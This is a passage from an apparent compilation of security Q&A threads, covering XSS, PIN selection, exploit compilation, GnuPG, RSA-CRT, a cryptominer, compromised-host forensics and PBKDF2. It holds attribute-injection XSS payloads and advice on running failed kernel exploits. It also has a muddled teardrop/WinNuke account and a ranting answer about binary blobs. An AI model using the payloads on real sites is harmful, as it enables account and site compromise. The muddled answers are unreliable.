  "sub":"XXXXXXXXXXXXXXXXXXXXX",

  // These values seem to be specific to Google's OAuth stuff.
  // The first three vary between all requests, and the last one
  // is constant across all requests.
  "exp":0000000000,
  "iat":0000000000,
  "jti":"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "iss":"accounts.google.com"
}

How else can I create a private key for the user from some deterministic information, such that I can only obtain that when they log in?

Long story short, you can't unfortunately.

You could ask a user to provide an encryption key the first time they login, then store that encrypted with the token, but of course the token will change if they reauthenticate (as you identified), so they would have to provide their key again at that point.  For you to be able to decrypt the user data you'd have to first ascertain the token to decrypt the key, which depending how your application is set up and the access your DBAs have might be enough.


Is cross site scripting possible with the img alt attribute? My question is, if any characters are allowed in the alt attribute of an img tag (except for double quotes), is XSS possible? Valid image or not.

You haven't mentioned how the attribute is quoted, so I've covered all possibilities of attribute quoting. This answer reflects the precondition that double quotes are already stripped as you mentioned in your question.
Yes, if the attribute itself is single quoted or unquoted:

and

are both vulnerable. The first is vulnerable to the following sequence
' onload='alert(&apos;xss&apos;)

so the tag becomes

and the second is vulnerable to this sequence
bar onload=alert('xss')

which will be rendered as

Regarding the attribute being double quoted, as well as restricting or encoding double quote characters (" --> &quot;), you will need to remove or encode the ampersand character (& --> &amp;). From the HTML spec:

Attribute values are a mixture of text and character references, except with the additional restriction that the text cannot contain an ambiguous ampersand
An ambiguous ampersand is a U+0026 AMPERSAND character (&) that is followed by one or more alphanumeric ASCII characters, followed by a ";" (U+003B) character, where these characters do not match any of the names given in the named character references section.

As you cannot guarantee that user controlled data will not contain an "ambiguous ampersand", you should either remove or properly encode this  characters.
Now whether an XSS attack is possible with access to only the & character to escape the attribute value, the answer is probably not.
If the value & is entered as your user data, and the tag becomes

and the &" will probably be interpreted as &amp;" by most browsers, so using this as an attack vector is unlikely.
However, it is best to do things properly when it comes to security, you never know if this escaping faux pas could be turned into something else evil by something such as mXSS.


Selecting a secure PIN for building access What are the general criteria for rejecting an insecure PIN to access a building?

There has been a lot of discussion about password selection security. Minimum length requirements, mandatory classes of characters, etc. I have not found much concerning PIN selection security. Furthermore, there are several types of access that a PIN protects (phone, credit card, building). Each may have their own particular vulnerability characteristics.

I am in the loop on the installation of a new security system which allows personnel to enter a building by entering a PIN on a keypad by the door. Individuals are allowed to select their own PIN which is entered into the system under their name. I am aware of some insecure PINs, such as 12345 (or any consecutive digits sequence), the location's zip code or part of the company's phone number or address.

Anyone with a legitimate need may request access to the building. This includes everyone from executives to employees and and perhaps occasionally, guests. This particular building is a church, so there are no national secrets to protect. I would characterize the security requirements to be similar to a house. Interior offices are protected with physical keys.

Edit: I appreciate the information presented, however, they don't answer the question. I am looking for PIN patterns that attackers are known to use (because users have selected bad PINs).

PINs are usually accompanied by some other authentication factor, like biometrics or a physical token. So, the PIN is not a lone factor in authentication.

But you appear to describe a situation where people can gain access to a secured building by punching in a code. Let me rephrase that: by using static, difficult-to-change sequence of numbers that can be easily copied and shared, the public gains access to the inside of your building.

The control against that threat is to make it very difficult to record and guess or use the physical appearance of the pin pad to deduce the code. That means making the PINs long and putting physical controls in place to make recording more difficult and to place layers of additional authentication protection on the inside of the building.

Because you are asking about the rejection process, my suggestion would be to use a random number generator instead of people choosing their own, and make it long. This bypasses people choosing PIN pad patterns or other pattern-based PINs which can be easy to guess or observe.


Compiling exploit on a different kernel than target (but same arch): is it un-smart or risky? I'm in a situation where I've compiled about 15 or more exploits for a machine and each has failed. The failures had to do with the kernel being compiled with highly secure settings, i.e. mmap function being disabled, or ptrace function. Only one of the errors was an unexplained segfault. Both machines are x86 so it's not as if I'm cross compiling for a different arch.

Is it truly worth it for me to recompile all of these failing exploits on a VM matching the kernel of the target machine if none of the errors (save for the nebulous segfault) seem related to compilation/compatibility issues?

It does not matter what kernel you compile an exploit under.

The failures were because the kernel was providing protections from the exploit methods you used. These protections are done at runtime. The kernel does not somehow insert code to cripple exploits compiled under it. The solution would be to run the exploit on a kernel with these security features removed or disabled, not to compile it on such a kernel. You do not have to have ASLR running (or even supported by your kernel) to compile a position-independent executable, for example.

The running kernel does not change the output of the compiler in a way that would break an exploit. All that matters is that you are compiling it with the same (or at least compatible) compiler features, libraries (if statically linked), and optimizations. If this is the case, it can be compiled anywhere. You could even compile an exploit for a Linux application on Windows or OpenBSD, and vice versa.

Some things you may want to keep in mind regarding your toolchain's environment:

Compiling on one system with -march=native may result in an executable that does not function properly or at all on another system. Avoid hardware-specific optimizations.
Using features from, say, GCC 7.2.0 may cause breakage if compiled on a machine that only has 6.4.0. The same applies to regressions that may break an exploit on a newer compiler.
If your target has header files which are incompatible with a working exploit for whatever reason, you will need to include the correct header files or compile it under a system which has them.
Some libraries' build systems check the kernel version running, and use this to decide what features to include. Be aware of this if you are compiling libraries on this system as well.


Forward secrecy with GnuPG I'd like to know how to implement forward secrecy using GnuPG, and I presume I need some kind of authenticated key exchange.  Assuming that I have the following working already:

Alice and Bob have both generated their own regular asymmetric keypairs
Alice has Bob's public key, and Bob has Alice's public key
Alice and Bob have verified that they have the correct keys and therefore trust each other
Alice can send messages asymmetrically encrypted with Bob's public key, and Bob can decrypt them, read them and verify signatures (and vice versa)

The problem I'd like to solve is that if somebody had managed to intercept and store an encrypted message from last week, and subsequently managed to obtain the corresponding private key from either Alice or Bob, then they could decrypt and read the old message.  It's my hope that with a temporary session key (negotiated but not sent) this would no longer be possible, as the message from last week would be symmetrically encrypted with a random session key, and this session key was never sent in any message.

I believe that what this needs is an Authenticated Key Exchange (AKE) like Diffie-Hellman, so can my program do this using GnuPG as a library?

Generation of suitable random token
Combination of this token with private key
(program is then responsible for storage of temporary data in memory, and transmission of encrypted, signed message)
Combination of received (token+key) from other party with own private key to give temporary session key k
Use of this agreed k as a symmetric session key

Ideally this session key would not need to be added to any keyring, and creating it would be significantly faster than generating an asymmetric keypair.

Confusions

According to the FAQ at https://gnupg.org/faq/gnupg-faq.html#compatible :

  “Diffie-Hellman” is what PGP calls the Elgamal encryption algorithm. If your PGP-generated keypair uses a Diffie-Hellman encryption subkey, it will appear in GnuPG as an Elgamal subkey.

but according to the manual at https://gnupg.org/gph/en/manual.html#AEN26 the key generation for ElGamal produces a keypair:

  Option 4 creates a single ElGamal keypair usable for both making signatures and performing encryption.

This makes it sound like an asymmetric keypair which is not what I want, and it also sounds like it would be added to the keyring, which sounds undesirable and inefficient.  So I'm a little confused about what GnuPG means by "ElGamal", and I don't see how a key exchange protocol can be considered equivalent to an encryption algorithm.

Conclusions

Thanks to forest's answer below, I understand that this isn't possible, even though it seems that GnuPG is more than capable of doing the mathematics required.  I left it open for a little longer just in case somebody else knew a way.

I will have to look further into OTR, which is obviously a separate question.

I also realized after asking this question that maybe I should have put it in crypto.stackexchange - my apologies if putting it there would have been more appropriate.  Thanks for the comments!

Is there anything like this?
There is actually a draft specifically on doing this, titled Forward Secrecy Extensions for OpenPGP. The gist of the draft is that temporary keys must be created for each message and securely deleted after they are used. This runs into a few problems. Most importantly, an OpenPGP extension will not be able to guarantee that data is securely removed from a storage device. Many storage devices will not allow data to be erased in place. This is done by solid state drives as a form of wear leveling, with the purpose being to reduce the wear on any individual area of storage. Certain filesystems employ a technique to improve reliability in the event of crashes called copy-on-write which has the side-effect of causing writes to the same location to not overwrite the data that was previously there. Additionally, many systems take snapshots of their state, defeating the purpose of securely erasing a key.
What makes forward secrecy hard with PGP?
The main difference between something like PGP and TLS is that TLS is quick. You can be confident that a handshake will complete in a second or two. This allows you to store the temporary key material entirely in memory. A PGP-encrypted message on the other hand may sit unread for an indefinite period, increasing the chances that a key is stolen. Forward secrecy is thus easy to implement with live systems that begin and finish the key exchange in a single session, but much harder to implement on a highly asynchronous system where there is no guarantee that a message will be quickly read.
Overall, the main reasons PGP is so much harder to use with forward secrecy is:

PGP is interactive so you can't keep ephemeral keys in memory for only a split second.
Keys must be stored on a non-volatile storage device, at which point secure erasure is uncertain.

Possible alternatives
The most viable alternative you have right now is to have rather short-lived encryption subkeys. Create one long-lived master key, preferably stored on an external device (and thus resistant to compromise). Subkeys should be kept for a shorter period and revoked after a minimum amount of time, for example one month, or a dozen messages. When revoking a key, update your public key to include freshly generated subkeys. People communicating with you will need to update their copy of your public key regularly in order to communicate with you. You will need to be aware of how your system works to avoid leaving traces of previous private keys on your device. This could be mitigated by keeping them on a different smart card, as they are designed to store these keys and can often also securely erase them at a moment's notice. GnuPG supports using smart cards as a source of key material.
You can also use OTR, which allows for real-time encrypted communication with forward secrecy. It is a plugin for various messaging systems that encrypts data using Diffie-Hellman key exchange and AES. It is currently supported on various social media messaging applications (e.g. Facebook's messenger), as well as IRC and XMPP. There is also a plugin for Pidgin, a chat client that supports a wide variety of protocols. Any protocol that Pidgin supports can be encrypted using OTR.


Should I change password after servicing a tablet? Recently I had problems with my android tablet. I sent it for repair, and they replaced it because it was not possible to repair it.

But, before sending I forgot to disable my accounts. Are people normally doing this before sending android devices for repair?

I have some personal documents in google drive, that I wouldn't like someone to delete them.

Now the question is : should I change my password for the google account? How to detect if someone accessed it?

Yes, change your password.  (I'm assuming that since you sent your tablet for repair that it was pretty much unusable, so the most likely case is that the repair people decided it was a lost cause, chucked it in the recycle pile, and sent you a new one. It's unlikely that any attempt was made to access your accounts. I would not proceed on that assumption however. As for how to see if anyone has tried to access your account there's really no way to be sure.)

The fact is that you can still access your account, so no-one has changed your password on you, and you still have control over your account. So the first thing to do is change your password, right away. Anyone who may be using the cached credentials in your device will no longer be able to do so. If someone had tried to take over your account they would have changed your password and the secondary email account to keep you from re-setting the password.

Before I stop using a mobile device I always wipe it, plus any additional storage on the device, however when a device breaks you may not have the ability to wipe anything. In that case all you can really do is change all your passwords before sending the device in, and hope that nothing personal can be recovered on it.


Non-identified algorithm for RSA decryption in tpm-emulator While analyzing the source code of tpm-emulator I found that the RSA key decryption uses an algorithm that is unknown to me.

The original file with this mystery is located in rsa.c, where the rsa_private(...) function resides. The shortened content of this function is the following:

static int rsa_private(tpm_rsa_private_key_t *key,
                       const uint8_t *in, size_t in_len, uint8_t *out)
{
  ...
  if (!key->p || !key->q || !key->u) {
    /* c = p ^ d mod n */
    tpm_bn_powm(c, p, key->d, key->n);
  } else {
    tpm_bn_init2(m1, key->size / 2);
    tpm_bn_init2(m2, key->size / 2);
    tpm_bn_init2(h, key->size);
    /* m1 = p ^ (d mod (p-1)) mod p */
    tpm_bn_sub_ui(h, key->p, 1);
    tpm_bn_mod(h, key->d, h);
    tpm_bn_powm(m1, p, h, key->p);
    /* m2 = p ^ (d mod (q-1)) mod q */
    tpm_bn_sub_ui(h, key->q, 1);
    tpm_bn_mod(h, key->d, h);
    tpm_bn_powm(m2, p, h, key->q);
    /* h = u * ( m2 - m1 ) mod q */
    tpm_bn_sub(h, m2, m1);
    if (tpm_bn_sgn(h) < 0) tpm_bn_add(h, h, key->q);
    tpm_bn_mul(h, key->u, h);
    tpm_bn_mod(h, h, key->q);
    /* c = m1 + h * p */
    tpm_bn_mul(h, h, key->p);
    tpm_bn_add(c, m1, h);
    tpm_bn_clear(m1);
    tpm_bn_clear(m2);
    tpm_bn_clear(h);
  }
  ...
  return 0;
}

The basic idea of this function is to decrypt input message in (p in a formula) of size in_len with the help of private RSA key key (exponent is d and modulus is n).

While this part of the code (1st algorithm of decryption):

/* c = p ^ d mod n */

is clear, the other possible algorithm of the decryption code is a mystery to me:

/* m1 = p ^ (d mod (p-1)) mod p */
/* m2 = p ^ (d mod (q-1)) mod q */
/* h = u * ( m2 - m1 ) mod q */
/* c = m1 + h * p */

With the aim to speed up the RSA decryption process, sometimes, "Chinese Remainder Theorem" is used. The theory with the practice about the usage of this theorem may be found in the article "Using the CRT with RSA".


S/MIME signing and verification - how do I find proper certificate? I'm trying to debug a S/MIME signing framework that is functioning wrong. On the input I have

a signed message with detached certificate
a certificate which private key the message was probably signed with

But when I'm trying to put this all together I got

openssl smime -verify \
-in /tmp/efx5a9e37e3992a3/response.p7b -inform der \
-certfile /tmp/efx5a9e37e3992a3/equifax.pem -noverify \
-out /tmp/efx5a9e37e3992a3/response.xml

Verification failure
139699112142480:error:21FFF080:PKCS7routines:func(4095):
signer certificate not found:pkcs7/pk7_smime.c:470:

I understand that this error is probably caused by the fact that openssl utility clearly sees that the certificate that I'm proposing it to verify the message with isn't the one. So my question is - how can I see this for myself ? Am I right assuming that I can dump the ASN.1 structures from the signed message and compare like the certificate serial or it's fingerprint (finding this information suddenly appeared a bit tricky, so I still don't know what it is - may be it's some other attribute) with the certificate I'm using for verification - and see for myself - okay, that is it ?

Also it would be nice if someone will point me at the documentation describing this.


I found this javascript on a webpage, is it a browser based cryptominer? I found a very strange javascript on a page. It was encoded in a large base64 string, then enclosed in atoi() and eval()d like this:

eval(atob("0aW9u...UuYWRkR"))

I decoded it and beautified the code. I admit it is quite a big script, but the code was not minified so it is readable, is someone able to point out what (more or less) this script is doing?

A few lines stick out, and somewhere down below there is this line:

var cryptonight = new CryptonightWASMWrapper

This seems to be a browserbased cryptominer called CryptoNight. It can use "your" browser to generate coins for the site's owner.

A few sites have been toying with this idea (and was tested on for instance The Pirate Bay) as opposed to the "normal" way of generating income via advertisement.

If you do not like your CPU being used:

you could try to block all javascript
or use an extension like NoCoin.

How does NoCoin work?

  The extension is simply blocking a list of blacklisted domains in blacklist.txt.


Can someone identify this login screen? It ain't normal Windows 10 screen This is what comes up on colleague's Windows 10 HP laptop, can anyone identify this as a keylogger or HP bloatware or something else?

It looks like HP Bloatware - I have seen screens similar to this on other HP laptops that utilise HP Security software and other features such as the laptop's fingerprint scanner.

Please see here for a similar scenario where the user enabled the HP settings and changed the logon screen: https://superuser.com/questions/690743/login-screen-changed-in-windows-8

  I use an HP Probook 4440s 64bit laptop with Windows 8 Enterprise installed. There is also a utility called HP Security Tools and I enabled a password protect option from it. Doing that somehow changed the normal Windows 8 lock screen to look something like this:

This was Pawan's solution (in case link becomes broken):

  Okay, found the solution myself. Posting it here for further
  reference.

  Once you activate the Spare Key protection, the Windows Logon checker
  is added to HP Protect Tools. So disabling the Spare Key doesnt take
  away the login screen, which is a result of added layer of protection.

  To bring back the old, normal login screen, open HP Client Security
  --> Credentials Manager --> Configure Now

  You will first need to remove the Spare Key protection, if any.

  Then, click on the "Administration" button on the bottom of the left
  sidebar. Administration --> Administration Console --> Increase System
  Security --> Uncheck the "Windows Logon security".

  And its done. That was all.

Sidenote: If it was a security breach on your computer and the attacker managed to load a custom logon screen, then you have a lot more to worry about than them getting your Windows logon credentials.


SSH Outbound. Tracking down the process I was pulled up by my ISP in work for having a machine making dozens of outbound SSH connections. I tracked down the machine and took it off the network. Problem is there are several other machines with identical configs that potentially could suffer a similar fate.

I can see outbound connection attempts using tcpdump but im having trouble trying to track down the script or process making these connection attempts. I've been trying to use netstat -plunt, ss -tp, lsof and various commandline utils but haven't been able to source the offending process. Has anyone any advice on tracking down processes and applications on compromised boxes like this?

sudo netstat -plunt

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:6379          0.0.0.0:*               LISTEN      1339/redis-server 1
tcp        0      0 0.0.0.0:5355            0.0.0.0:*               LISTEN      1008/systemd-resolv
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      1024/sshd
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      1413/cupsd
tcp6       0      0 :::5355                 :::*                    LISTEN      1008/systemd-resolv
tcp6       0      0 :::4949                 :::*                    LISTEN      1022/perl
tcp6       0      0 :::22                   :::*                    LISTEN      1024/sshd
tcp6       0      0 ::1:631                 :::*                    LISTEN      1413/cupsd
udp        0      0 0.0.0.0:37790           0.0.0.0:*                           938/avahi-daemon: r
udp        0      0 0.0.0.0:54446           0.0.0.0:*                           1364/openvpn
udp        0      0 0.0.0.0:5353            0.0.0.0:*                           938/avahi-daemon: r
udp        0      0 0.0.0.0:5355            0.0.0.0:*                           1008/systemd-resolv
udp        0      0 127.0.0.53:53           0.0.0.0:*                           1008/systemd-resolv
udp        0      0 0.0.0.0:631             0.0.0.0:*                           1414/cups-browsed
udp6       0      0 :::53487                :::*                                938/avahi-daemon: r
udp6       0      0 :::5353                 :::*                                938/avahi-daemon: r
udp6       0      0 :::5355                 :::*                                1008/systemd-resolv

Do you think that you can have a rootkit installed that does not allow you to see the offending process?

Another idea is to use the command watch, to try to spot the offending process.

watch -d 'lsof -i tcp:22'

watch -d highlights the differences. It runs the command every 2 secs.

lsof -i tcp:22 gives you a list of processes that use TCP connections on port 22.

In case you suspect of a rootkit, you can compile busybox and use it to check your processes and open files.


Unable to proxy Webgoat localhost requests in spite of doing the necessary configurations I am new to Webgoat and followed all the steps required to configure Firefox and Webgoat.

1 Setup Local proxies in webgoat to run on localhost 8090
2 Exported the certificate and imported it in Firefox
3 Setup Proxy in Firefox and removed everything present in "No proxy for".
4 Webgoat is running on 8080 and ZAP on 8090 - two different ports.

I am able to see the requests from other sites like google, youtube, etc. in ZAP but unable to see the Webgoat (localhost) requests even after refreshing the page multiple times.

Is there something I am missing out or do I need to check anything else too ?

Thanks for any help you can provide.

Assuming this is an up-to-date version of Firefox you now need to visit about:config and set network.proxy.allow_hijacking_localhost to true

Reference: https://bugzilla.mozilla.org/show_bug.cgi?id=1535581


Is possible to be hacked remotely? I am a little bit afraid about remote hacking, since I'm using a Windows 7. I see what a hacker can do if he exploits the DCOM vulnerability in Windows XP, but does this sort of exploit exist on Windows 7 or Windows 8? It other words, can hackers compromise a system with only knowing the IP address of my machine and get it hacked remotely like a Windows XP machine?

There are new hacks always happening. Here is one in particular that was rather famous. In the late 1990's there was the teardrop attack which was pre-packaged as 'win nuke' which would send a packet to an ip address. The name tear-drop comes from what it did: it created a bad packet, tore it into a pair of half-packets, sent them both to the target ip address. The incomplete packets would not be recognized by security apps and would 'drop it' past the firewall, where the error correction in the network interface would see a broken packet and sew it back up.

The win-nuke app that went all over the net would simply be used to send a packet to someone that would crash the network interface... (denial of service) 'nuke-ing' them off the net until they restarted their network connection. Rather than a 'kill' function, anything that could be sent in a network packet would conceivably be possible.

Ports 139 and 145 were the usual targets because they were vulnerable, so the end result for this particular attack was that they were blocked by firewalls.

Telnetting to a computer (netcat is a tool that people use to do this) to a specified port and sending corrupted data is still used. Just different ones. If you have figured already, this is not limited to windows.


Mac OS X : Certificates signed by company trusted CA cannot be verified I'm trying to setup a keychain on Apache Tomcat that contains a server certificate that was signed by a custom root ca certificate. (not sure if custom is the right word here, but it's a root certificate that I created myself and that I want to trust). The idea behind this is that all certificates signed by this CA should be considered trusted.

Here's the steps I did

Create the root certificate (that I will trust in my keychain)

openssl req -new -x509 -sha512 -extensions v3_ca -keyout private/cakey.pem -out cacert.pem -days 365 -config ./openssl.cnf

Create a server key and a certificate signing request

openssl req -new -nodes -sha512 -out name-req.pem -keyout private/name-key.pem -days 365 -config ./openssl.cnf

Sign the request with the CA created in step 1  and generate a certificate

openssl ca -out name-cert.pem -days 365 -config ./openssl.cnf -infiles name-req.pem

Create the PKCS12 file

openssl pkcs12 -sha512 -export -in name-cert.pem -inkey private/name-key.pem -certfile cacert.pem -name "[friendly name]" -out name-cert.p12

Setup a PKCS12 keystore for Tomcat

openssl pkcs12 -export -in name-cert.pem -inkey private/name-key.pem -out mycert.p12 -name tomcat -CAfile cacert.pem -caname root -chain

I've installed the keystore in tomcat correctly and I can access the HTTPS connector

I installed the CA certificate in my keychain where it is marked as trusted for all users.

However, when I access the page using a browser (Firefox / Safari) I'm still seeing this:

Why is it that this certificate (issued by "CA", and "CA" being a certificate marked as trusted for all users) is still throwing an error ?

There are not much details about your certificate itself, but I assume that you are connecting to an IP address and you are trying to use the IP address as the common name inside the certificate. As far as I know this is not supported by Safari. Instead it requires the IP addresses to be specified inside the SAN section (subject alternative names) of the certificate as type IP.

Which means this is not a problem of the CA, but a problem of the certificate itself.

See also https://serverfault.com/questions/550313/safari-7-ssl-error-if-using-ip-adress and also RFC2818:

  In some cases, the URI is specified as an IP address rather than a
     hostname. In this case, the iPAddress subjectAltName must be present
     in the certificate and must exactly match the IP in the URI.


Virus/Trojan attached to GnuPG encrypted file Is it possible to infect a file encrypted using GnuPG?

For example, if I had an encrypted file on an unsecured public ftp server, would someone be able to copy that file and attach a virus/trojan onto the file and then reupload to the server? Then when I next accessed/decrypted, I would then be infected with said virus?

I am currently storing encrypted files on public servers to store data that a few people access. I have just had a sinking feeling that I could be open to attack and possibly have this encrypted data leaked if a trojan was installed.

Malware can be distributed in various fashions: as directly executable programs, or hidden in other files and formats used as containers.

If you apply a process that always decrypts a given file, replacing it with directly executable malware is not very promising, decryption will simply fail. In case of public/private key cryptography (and a known public key), of course the encrypted file could be exchanged by another, malicious file. Signing mitigates this, symmetric encryption also does (as there is no "public" key).

On the other hand, there might always exist a bug in the software reading a file: the question "How to inject executable, malicious code into PDF, JPEG, MP3, etc.?" contains some examples. A similar bug could also exist in GnuPG, triggered on decryption or verification of a signature. In this case, a malicious OpenPGP message might result in malware being executed on your computer. If a trojan is run on your computer, obviously also the encrypted content might be revealed.


What are the implications of including binary blobs in the Linux kernel? According to this there are compelling reasons for caution when installing obfuscated binaries. Knowing this, how can running binary blobs as a part of the Linux kernel be acceptable from a security point of view? There exists a blob-free version of the kernel. The motivations behind that project seem to be primarily ideological. But what kind of risks do users of non-free driver modules actually face? Can a binary blob contain a rootkit designed to take over or open a backdoor into the entire system? How could such a backdoor be detected?

From a security, and even ideological, point of view; blobs are unacceptable.  whatever people say, they are trying to dissuade you from the importance of this issue.
the risks users of non-free software face, be it a firmware blob, driver blob, or Microsoft Windows, are vastly unmeasurable. and while it is safer using any Linux distro than Windows, it doesn't mean that any Linux distro is secure.
blobs, depending on their size, can do just about anything, they are little programs after all.
as for detecting backdoors and other security flaws, there is only one way, and it is quite simple; publish the source code. the previous answer points out that:
"A binary will be much faster than other code." Liar, Liar, Pants on Fire.  a blob will only make the final compiling process of the program faster, not the program itself,
but regardless of program performance decisions,  there's no reason not to publish the source, and compiling instructions of that "blob"
and anyone telling you otherwise is either lying, of some kind of NSA, FBI agent.

if you are interested in a 100% FOSS (free and open source) operating systems, that consciously maintain their code to be blob free, here is a link: Free GNU/Linux distributions  other relevant links: What is free software?, techrights.org/2013/11/25/freedo-and-nsa-code/.


How much does unknown PBKDF2 iteration count improve security? We are crackers who get our hand on an encrypted file. We know the whole file is AES-256 encryption of the original plaintext file.

We also know that PBKDF2 was run 1000 times on the original plain password to make the key and IV.

In this case, we know how to bruteforce crack this:

Generate plaintext password
Run PBKFD2 1000 times
Try to decrypt the file
Repeat 1-3 until we succeed

But what if we don't know the PBKFD2 iteration count? It could be 500, 1050, 5400 or any number.

How harder does this make the crack?

To me it seems almost impossible to do a bruteforce attack. I don't know where to even begin because I don't know the iteration count. Am I correct?

The question can be rephrased: How much security is really added to a file if it is protected not only by a regular password but also by iteration count? Upon decryption, both password and iteration count would have to be specified.

It wouldn't add enough security to matter. It just means that the attacker has to compare with the stored hash after each iteration of the PBKFD2 function, rather than once after the (known) count. Since a comparison is much faster than an iteration (for any reasonable underlying hash function), this doesn't slow the attacker significantly.

A slightly subtler issue is that the attacker has to play priority guessing games with where to invest his cycles. If he's run his basic password dictionary through 1,000 iterations and not gotten any hits, should he go to a bigger dictionary, or extend to 2,000 iterations? In practice, he'll probably alternate search expansions until he gets a hit. Note that if his search program is written to support this (I don't know if any are, but it's certainly possible and source code is available), it can save all of the intermediate results after e.g. 1,000 iterations, so when he extends to 2,000 iterations he's only doing the computation for another 1,000 iterations.

As soon as the attacker finds one match (the weakest password in the database), he's immediately going to guess that all the other passwords have the same count, and he's back to the standard attack. (Note that if you vary the counts between accounts, you'd have to store the count along with the hash, which means when he steals the hash database he's going to have the counts too and this is all moot.)

BTW, the general term for things like this (secret elements of the hash algorithm that're the same for all users, and hence don't need to be stored along with the hashes) is "pepper". It's a useful concept (provided you have a way to store the pepper value that isn't just going to get stolen along with the hashes), but this is not a good way to inject the pepper into the hash algorithm.


encryption vs access control comparison I have a very basic and simple question about two security concepts.

Both encryption and access control are used for privacy and to prevent unauthorized users from accessing some object (eg. files, processes, etc.).

What is the difference in practical environments? When do we use encryption and when do we use access controls (eg. ACL, RBAC, etc.)?

For example, I can encrypt one file to prevent unauthorized access, but I could also use an ACL method for this.

Encryption is used to provide confidentiality of data that may or will be accessed by an untrusted entity. Access control is used to limit or otherwise control an entity's access to an object. Asking "when do we use them" is an open question.

Access controls can be anything from a padlock on a gate to a permission set on a filesystem. They can be simple or complex, can control different operation types independently (read, write, delete, etc.), may involve audit logs, but are generally artificially enforced limitations. By that, I mean there's nothing to physically prevent you from bypassing them, if you've got access to everything. As an example, a filesystem DACL on Windows could be bypassed simply by reading the disk directly, or loading it up in a system which ignores access control (e.g. a Linux NTFS driver). In the physical realm, you can just cut the padlock or chain with bolt croppers, or cut a hole through the wall, or blow the gate up with explosives.

Encryption aims to provide some level of confidentiality based on a differential in computational complexity between an authorised user (i.e. someone with the correct key) and an unauthorised user (i.e. someone without the correct key). A user with the correct key can expend a small amount of resources on decrypting the data, and get the message. A user without that key must expend a significantly larger amount of computational resources in order to decrypt the message - usually so much that it becomes infeasible. The key difference here is that strong encryption provides a real, unavoidable boundary to access. You can't simply side-step it by doing direct reads to a disk or implementing a different accessor - or blowing the data store up with explosives for that matter.

The goals and uses of these two concepts are different. Encryption can provide very strong controls over data confidentiality, but is difficult to get right, can be computationally expensive, and becomes difficult to manage at scale when lots of users need access to the same data. Encryption also isn't trivially applicable to complex models where some users need to be able to read but not write, or write but not read (e.g. writing to a log file but not be able to see other log entries). Access control is much more flexible and can be easier to implement, especially in cases where complex relationships exist between users and data, but it is only enforced by the code that is running on the system. As such, access controls are much weaker (or even worthless) in threat models where local / physical access is a potential (e.g. theft of a hard disk).

The real answer to your question is that they're used whenever they're appropriate for the business logic and threat model in your particular scenario.


How much of a certificate is actually covered by the CA's signature? One of my devs recently had an issue with the compatability of a certificate, and we rooted around for a bit until we came across a a similar problem on SO.

Once I understood the developer's initial problem (the original certificate was generated with a CNG provider, rather than the Legacy one), I was expecting to have to re-create the CSR with the compatable parameter, and send it to the CA for re-signing.

However, the Linked Questions list led me to an unaccepted answer on another question, which suggested openssl could be used to split the existing PFX to a PEM pair, change the CSP parameter of the PEM private file to one that was compatable with the application, then recreate the PFX.

PFX-PEM-PFX conversion aside, I was skeptical that changing the private key file would work, because I thought that would cause the signature to change, and so would no longer validate.  However, to my surprise, it appears to have worked and the dev was able to continue without further issues.

This got me wondering, how much of the certificate is actually covered by the signature process?  What's to stop someone using the same tool (or similar) to change the expiry date, add another subject alternate name, or remove the CRL or OSCP information (for example)?

Actually you do not modify the certificate itself.

As explained here, the pfx file is container containing the certificate plus several other objects, including the certificate.

What you do in the given procedure is get the certificate out of this container, then put it in another container associated to different objects.

The certificate itself remains the same.


Should crash dumps (e.g. from Breakpad, Windows) be encrypted and signed? As a software developer, should my crash dumps (e.g. from Breakpad, Windows) be encrypted and signed?  I provide the ability to export crash dumps so that I can pinpoint the problem when the user reports one.

My concerns, in terms of protecting my product (the attacker is a user hacking the product to gain something):

Dumps give too much info for hackers to reverse engineer or hack the software, say to enable features or licenses?
Passwords and keys might be stored in the dumps for hackers to hack the software.
A user could return us a maliciously malformed dump, which causes havoc when we try to decipher the dump on our machines.  If our application signs the dump, at least we can confidently open the file.

Update:  For the last bullet point, one of the answers has reminded me that there is no pointing in signing the data, since the key has to be in the product itself, which the hacker can then use it to sign anyway. Furthermore, the fear of malicious dumps can be circumvented through the use of temporary virtual machines.

The last remaining concern is how dumps, given it contains addresses and stuff, could help hackers circumvent restrictions like licensed features.

Dumps give too much info for hackers to reverse engineer or hack the software, say to enable features or licenses?

The dumps must, at some point, exist in unencrypted form. An attacker with full local control can either grab the dumps at that instant - or simply ignore them, and look at the memory of the running application at will.

Some programs, such as spotify, try to detect if they are running in a debugging environment, and use various obfuscation schemes to slow down reverse engineering. This may thwart un-experienced attackers, or slow down experienced ones. But it will probably not stop an attacker. This is basically the reason why companies like Microsoft opt for online license validation.

However, encryption in transit is an entirely different matter. Protecting customers assets that may be available in a dump, or even licenses installed on a customers computer, makes this a good proposition - ensuring that no third party can get access to the dump.

It's also easy to implement; submit the dump over for instance https. While the gain from this may be small, depending on the content of the dumps, it's also very cheap to implement, and reduces the risks to both yours and the customers data. Remember that your customer probably values their data more than they value your product.

  A user could return us a maliciously malformed dump, which causes havoc when we try to decipher the dump on our machines. If our application signs the dump, at least we can confidently open the file.

To sign the files, the application has to access a private key. The private key has to be present in memory on the machine doing the signing at some stage. It has to be distributed with every instance of the software.

An attacker can access the key and sign his malicious dump file.

It will not help against using the dumps as an attack vector.


Domain sale - Is it DNS hijacking? I am using a desktop that has two Linux distros and Windows 7 installed, and a laptop with same installation. Both of them are in my home network. And sometimes when I try to visit some websites such as Google, BBC or any of them, it is trying to sell for example google.com domain to me; I face with that picture(instead of 7sabah there has been the website that I am trying to visit.):

No matter which OS ,computer or browser, same problem stands. And I think it may be DNS Hijacking but not sure. The link (can be seen in the picture as 'click here') redirects me to '4.cn' website although I am not living in China. Are there any ways I may use to check whether it is a hacking or not?

Your router could be hacked. If your router has or had a default password, you could be victim of drive-by-hijacking. A malicious javascript can try to login to your router, change the DNS settings, and there you are.

If this is the case, this problem is on your home network only. If you take your laptop elsewhere, it should not happen. However, it could be that - if this is the case and they hijacked your DNS - then they could have served malicious scripts to all your computers, infecting them too, in case the router is repaired.

So check your router, and check if you have this problem on other networks as well.


Can a hacker compromise the system if he can steal one of the factors of the 2FA? I read this article saying that smartcards used as a 2FA are still susceptible to attacks such as MITM attack:

